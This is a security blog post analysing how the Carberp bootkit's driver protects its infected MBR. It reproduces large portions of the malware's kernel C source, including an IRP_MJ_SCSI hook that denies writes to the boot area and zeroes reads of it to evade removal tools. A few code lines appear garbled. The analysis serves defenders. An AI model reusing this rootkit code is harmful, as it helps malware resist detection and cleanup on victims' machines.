Adlice Software.
← Back to blog·Analysis

Carberp bootkit : How self-protection is effective

Introduction

Carberp has bootkit features (for boot rootkit), allowing it to survive reboots by loading it’s driver from the MBR (Master boot record) bootstrap. The MBR Payload installer is basically just a low level (and not that low, AVs should be able to intercept it easily…) rewrite of the MBR sector with a custom self decrypted 16 bits code able to load its module in memory at boot time. Classic.

What we’ll see here is the driver itself, and especially the filter part, which is intended to protect the MBR sector against rewriting from malware removal tools (as it’s his only way to survive reboot, if one is able to overwrite the MBR with a legit one, the whole infection is gone).

It basically uses** IRP inline hook on IRP_MJ_INTERNAL_DEVICE_CONTROL** (or IRP_MJ_SCSI), to detour the execution flow of low level disk read/write and filter the calls.

Analysis

Here’s the global flow of the source code:
 
bootkit-923x1024

The driver entry is called very early in the system boot, due to the MBR loader (which will load the driver in memory before the system starts, no filesystem, no interrupts, and overall no antivirus). So it will trigger Initialization of the bootkit, which will registers its Process and Image callbacks (to be notified of new processes, and new drivers loaded, and inject them with APC – Not covered here).

//
// Our driver entry
//
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject, IN PUNICODE_STRING RegistryPath)
{
	NTSTATUS ntStatus = BkInitialize(DriverObject, RegistryPath, &DriverInitialize, &DriverStartup);
	return(ntStatus);
}
NTSTATUS DriverStartup(IN PDRIVER_OBJECT  DriverObject, IN PUNICODE_STRING RegistryPath)
{
	NTSTATUS ntStatus = STATUS_SUCCESS;
	BkInitDriverDispatch(DriverObject);

	ntStatus = HandleAllocateTable(&g_ActiveProcessDb, sizeof(PID_CONTEXT), NULL, NULL);
	if (NT_SUCCESS(ntStatus))
	{
		InitializeAddons();

		ntStatus = PsSetCreateProcessNotifyRoutine(&MyCreateProcessNotifyRoutine, FALSE);
		if (NT_SUCCESS(ntStatus))
		{
			ntStatus = PsSetLoadImageNotifyRoutine(&MyLoadImageNotifyRoutine);
#ifdef _DRIVER_SUPPORTS_UNLOAD
			DriverObject->DriverUnload = &DriverUnload;
#endif
		}

		if (!NT_SUCCESS(ntStatus))
		{
			PsSetCreateProcessNotifyRoutine(&MyCreateProcessNotifyRoutine, TRUE);
			HandleReleaseTable(g_ActiveProcessDb);
		}
		else
		{
#ifdef	_BK_KIP
			ntStatus = KipStartup(DriverObject, RegistryPath);
#endif
#ifdef	_BK_VFS
			ntStatus = FsLibStartup(DriverObject, RegistryPath);
#endif

			if(NT_SUCCESS(ntStatus))
				StartDelayInitThread();
		}

	}	// if (NT_SUCCESS(ntStatus))

	return(ntStatus);
}

StartDelayInitThread is responsible for creating a system thread which will wait for the filesystem to be available (just polling on a basic directory handle query until it succeed) and then it knows it can** start the filesystem filtering**.

//
// Create FS wait thread.
//
NTSTATUS StartDelayInitThread(VOID)
{
	HANDLE		hThread;
	NTSTATUS	ntStatus;
	OBJECT_ATTRIBUTES	oa = {0};

	InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
	ntStatus = PsCreateSystemThread(&hThread, GENERIC_ALL, &oa, NULL, NULL, &DelayInitThread, NULL);
	if (NT_SUCCESS(ntStatus))
		ZwClose(hThread);
	return(ntStatus);
}
//
//	Since our driver coud be started early at system startup, there could be neither disk device no file system yet.
//	This function waits until file system initialized and then activates KREP if any.
//
VOID DelayInitThread(PVOID Context)
{
	NTSTATUS	ntStatus;
	UNICODE_STRING	uDirectory = RTL_CONSTANT_STRING(wczSystemRoot);
	IO_STATUS_BLOCK	IoStatus = {0};
	OBJECT_ATTRIBUTES	oa = {0};
	LARGE_INTEGER		Interval;
	HANDLE				hDir;
	BK_FS_AREA			FsArea;

	Interval.QuadPart = _RELATIVE(_MILLISECONDS(100));

	InitializeObjectAttributes(&oa, &g_FsVolumeDevice, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
	// Trying to open FS disk device.
	do 
	{		
		ntStatus = ZwOpenFile(&hDir, GENERIC_READ | SYNCHRONIZE, &oa, &IoStatus, 
			FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);

		if (NT_SUCCESS(ntStatus))
			break;

		KeDelayExecutionThread(KernelMode, TRUE, &Interval);
	} while(!NT_SUCCESS(ntStatus));

	ZwClose(hDir);

#if (defined(_BK_VFS) || defined(_BK_FILTER))
	// Obtaining FS area information, coz we need it for VFS and for the Filter too.
	ntStatus = FsLibGetFsArea(&FsArea);
#endif
#ifdef	_BK_FILTER
	if (NT_SUCCESS(ntStatus))
		ntStatus = FltStartup(&FsArea);
#endif
#ifdef	_BK_VFS
	if (NT_SUCCESS(ntStatus))
		ntStatus = FsLibActivate(&FsArea);
	// Loading and processing an inject configuration file if any
	if (NT_SUCCESS(ntStatus))
		KldrLoadInjectConfig();
#endif
#ifdef	_BK_KBOT
	if (NT_SUCCESS(ntStatus))
		ntStatus = KBotStartup();
#endif

	UNREFERENCED_PARAMETER(Context);
}

FltStartup is triggered once the system has completely booted, and the filesystem is available.** It will “attach”** (not in the term of Device model, but malware writers model :D) to the upper device of PhysicalDrive0, by searching it’s device pointer, then Splicing its IRP_MJ_SCSI major function (looking for a JMP in the bytecode and replacing the address with its own). That way,** on each attempt to read/write on PhysicalDrive0 it will end in the detour function (ClassDispatchScsi).
**

I’ve simulated the call to get the lower device of PhysicalDrive0, screenshot below:
 
2013-07-04-14_02_27-DeviceTree-V2.30-Driver-View-OSRs-Device-and-Driver-Explorer-1024x320

#define wczBootDevice L"\\Device\\Harddisk0\\DR0"
NTSTATUS	FltStartup(IN PBK_FS_AREA FsArea)
{
	NTSTATUS	ntStatus = STATUS_INSUFFICIENT_RESOURCES;
	UNICODE_STRING	uDeviceName = RTL_CONSTANT_STRING(wczBootDevice);

	KdPrint(("BKFLT: BK filter driver started.\n"));

	HookInit();

	RtlMoveMemory(&g_FsArea, FsArea, sizeof(BK_FS_AREA));

	ntStatus = FltAttachClassDeviceDriver(&uDeviceName);

	KdPrint(("BKFLT: Driver entry finished with status %x\n", ntStatus));

	return(ntStatus);
}
NTSTATUS	FltAttachClassDeviceDriver(PUNICODE_STRING uDeviceName)
{
	NTSTATUS		ntStatus;
	PDRIVER_OBJECT	DriverObj;
	LARGE_INTEGER	TickCount;

	if (NT_SUCCESS(ntStatus = GetLowerDeviceObjectByName(uDeviceName, &g_ClassDevice)))
	{
		DriverObj = g_ClassDevice->DriverObject;

		// Initializing BK internal request mark value
		KeQueryTickCount(&TickCount);
		g_MySrbMark = TickCount.LowPart;

		// Setting hooks
		if (DriverObj->MajorFunction[IRP_MJ_SCSI])
			SetHook(&ClassDispatchScsi, &DriverObj->MajorFunction[IRP_MJ_SCSI], DriverObj->DriverStart);
	} 

	return(ntStatus);
}

my_DispatchScsi is the detour function for IRP_MJ_SCSI. Once we got a request for read/write of PhysicalDrive0, the SRB (object containing all information about the request) is parsed.

If the request is a WRITE request and the offset and size requested and overlapping the boot sector (the one which is protected by the rootkit), then the rootkit will return ERROR_ACCESS_DENIED and the request will fail. Thus, the MBR is overwrite protected.

If the request is a READ request and is overlapping the boot sector, the IRP will be tagged with a completion routine for later processing, and it will pass the IRP to the next device of the stack.

//
//	Standard IRP_MJ_SCSI dispatch routine hook
//
NTSTATUS my_DispatchScsi(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
	NTSTATUS	ntStatus = STATUS_REQUEST_NOT_ACCEPTED;
	ULONGLONG	StartBlock;
	ULONG	NumberBlocks, Length;
	UCHAR	CdbOpCode;
	PCHAR	DataBuffer;

	ENTER_HOOK();

	if (DeviceObject == g_ClassDevice)
	{
		//DbgPrintSrb(Srb);

		CdbOpCode = FltParseSrb(Irp, &StartBlock, &NumberBlocks, &DataBuffer, &Length);

		if (CdbOpCode == SCSIOP_WRITE || CdbOpCode == SCSIOP_WRITE_DATA_BUFF)
		{
			if (FltIsWithinBkArea(StartBlock, NumberBlocks))
			{
				ntStatus = STATUS_ACCESS_DENIED;
				Irp->IoStatus.Status = ntStatus;
				IoCompleteRequest(Irp, IO_NO_INCREMENT);
				KdPrint(("BKFLT: Write from %u for %u sectors - blocked.\n", (ULONG)StartBlock, NumberBlocks));
			}
		}	// if (CdbOpCode == SCSIOP_WRITE || CdbOpCode == SCSIOP_WRITE_DATA_BUFF)
		else if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_READ_DATA_BUFF)
		{
			if (FltIsWithinBkArea(StartBlock, NumberBlocks))
				ntStatus = FltForwardScsiIrpAsync(DeviceObject, Irp, StartBlock, NumberBlocks, DataBuffer, Length);

		}	// else if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_READ_DATA_BUFF)
	}	// if (DeviceObject == g_ClassDevice)

	if (ntStatus == STATUS_REQUEST_NOT_ACCEPTED)
		ntStatus = ((PDRIVER_DISPATCH)hook_DispatchScsi.Original)(DeviceObject, Irp);

	LEAVE_HOOK();

	return(ntStatus);
}	// my_DispatchScsi

NTSTATUS FltForwardScsiIrpAsync(IN PDEVICE_OBJECT DeviceObject, IN PIRP	Irp, IN ULONGLONG StartBlock, 
    ULONG NumberBlocks, PCHAR DataBuffer, ULONG Length)
{
	NTSTATUS	ntStatus = STATUS_INSUFFICIENT_RESOURCES;
	PFLT_COMPLETION_CONTEXT	FltCtx;
	PIO_STACK_LOCATION		IrpStack = IoGetCurrentIrpStackLocation(Irp);

	if (FltCtx = MyAllocatePool(NonPagedPool, sizeof(FLT_COMPLETION_CONTEXT)))
	{
		FltCtx->StartBlock = StartBlock;
		FltCtx->NumberBlocks = NumberBlocks;
		FltCtx->DataBuffer = DataBuffer;
		FltCtx->Length	= Length;

		// save previouse completion routine, context and control flags
		FltCtx->CompletionRoutine = IrpStack->CompletionRoutine;
		FltCtx->CompletionContext = IrpStack->Context;
		FltCtx->Control = IrpStack->Control;

		// set a completion routine, context and control flags
		IrpStack->CompletionRoutine = &FltIrpCompletionRoutine;
		IrpStack->Context = FltCtx;
		IrpStack->Control = SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR;

		// call the next lower device
		ntStatus = ((PDRIVER_DISPATCH)hook_DispatchScsi.Original)(DeviceObject, Irp);
	}
    return(ntStatus);

}	// FltProcessScsiIrpSynchronous

Once the READ completed, we end into the completion routine (FltIrpCompletionRoutine), which will trigger FltReplaceRead. This function will simply zero the bytes overlapping the boot sector. That way, one will think the requested (and protected) sectors are empty, and will not be able to know what to do with (and thus will not be able to match against malicious signatures). The MBR is hidden from read requests.

NTSTATUS FltIrpCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
	NTSTATUS	ntStatus1, ntStatus = STATUS_MORE_PROCESSING_REQUIRED;
	PFLT_COMPLETION_CONTEXT FltCtx = (PFLT_COMPLETION_CONTEXT)Context;
	PIO_STACK_LOCATION		IrpStack = IoGetCurrentIrpStackLocation(Irp);

	// restore saved completion routine, context and control flags
	IrpStack->CompletionRoutine = FltCtx->CompletionRoutine;
	IrpStack->Context = FltCtx->CompletionContext;
	IrpStack->Control = FltCtx->Control;

	ntStatus1 = Irp->IoStatus.Status;

	if (NT_SUCCESS(ntStatus1))
	{
		PCHAR UserBuffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, LowPagePriority);
		FltReplaceRead(FltCtx->StartBlock, FltCtx->NumberBlocks, UserBuffer, FltCtx->Length);
	}		

	if (IrpStack->CompletionRoutine)
	{
		if ((NT_SUCCESS(ntStatus1) && (IrpStack->Control | SL_INVOKE_ON_SUCCESS)) ||
			(ntStatus1 == STATUS_CANCELLED && (IrpStack->Control | SL_INVOKE_ON_CANCEL)) ||
			(!NT_SUCCESS(ntStatus1) && ntStatus1 != STATUS_CANCELLED && (IrpStack->Control | SL_INVOKE_ON_ERROR))
			)
		{
			// Calling original IO completion routine
			ntStatus = (IrpStack->CompletionRoutine)(DeviceObject, Irp, IrpStack->Context);
		}
	}	// if (IrpStack->CompletionRoutine)

	MyFreePool(FltCtx);

    return(ntStatus);
}
VOID FltReplaceRead(ULONGLONG StartBlock, ULONG NumberBlocks, PCHAR DataBuffer, ULONG Length)
{
	ULONG	Skipped;
	PCHAR	FillBuffer;
	ULONG	FillLength = 0;

	if ((StartBlock + NumberBlocks) > g_FsArea.StartSector && StartBlock < (g_FsArea.StartSector + g_FsArea.NumberOfSectors))
	{
		FillBuffer = DataBuffer;
		FillLength = Length;

		if (StartBlock < g_FsArea.StartSector) 		{ 			Skipped = ((ULONG)(g_FsArea.StartSector - StartBlock)) * g_FsArea.BytesPerSector; 			ASSERT(FillLength > Skipped);
			FillBuffer += Skipped;
			FillLength -= Skipped;
		}

		if ((StartBlock + NumberBlocks) > (g_FsArea.StartSector + g_FsArea.NumberOfSectors))
		{
			Skipped = (ULONG)((StartBlock + NumberBlocks) - (g_FsArea.StartSector + g_FsArea.NumberOfSectors));
			Skipped *= g_FsArea.BytesPerSector;
			ASSERT(FillLength > Skipped);
			FillLength -= Skipped;f
		}

		if (FillLength)
		{
			RtlZeroMemory(FillBuffer, FillLength);
			KdPrint(("BKFLT: Replace %u bytes read starting from sector %u.\n", FillLength, (ULONG)StartBlock + (ULONG)(FillBuffer - DataBuffer) / g_FsArea.BytesPerSector));
		}
	}

	if (((StartBlock + NumberBlocks) > g_FsArea.BootSector && StartBlock < (g_FsArea.BootSector + 16)))
	{
		FillBuffer = DataBuffer;
		FillLength = Length;

		if (StartBlock < g_FsArea.BootSector) 		{ 			Skipped = ((ULONG)(g_FsArea.BootSector - StartBlock)) *  g_FsArea.BytesPerSector; 			ASSERT(FillLength > Skipped);
			FillBuffer += Skipped;
			FillLength -= Skipped;
		}

		if ((StartBlock + NumberBlocks) > (g_FsArea.BootSector + 16))
		{
			Skipped = (ULONG)((StartBlock + NumberBlocks) - (g_FsArea.BootSector + 16));
			Skipped *= g_FsArea.BytesPerSector;
			ASSERT(FillLength > Skipped);
			FillLength -= Skipped;
		}

		KdPrint(("BKFLT: Replace %u bytes read starting from sector %u.\n", FillLength, (ULONG)StartBlock + (ULONG)(FillBuffer - DataBuffer) / g_FsArea.BytesPerSector));
	}	// if ((StartBlock + NumberBlocks) > g_FsArea.StartSector && StartBlock < (g_FsArea.StartSector + g_FsArea.NumberOfSectors))		
}

Conclusion

The filter part of the Carberp bootkit is only one module among many others. It’s only designed to** protect the only entry point of the whole infection, MBR**. That way, without a (very) low level driver able to bypass its notification routine and the IRP hook to grab the correct bytes for analysis and cleanup, the removal tool will not be able to remove that nasty bootkit.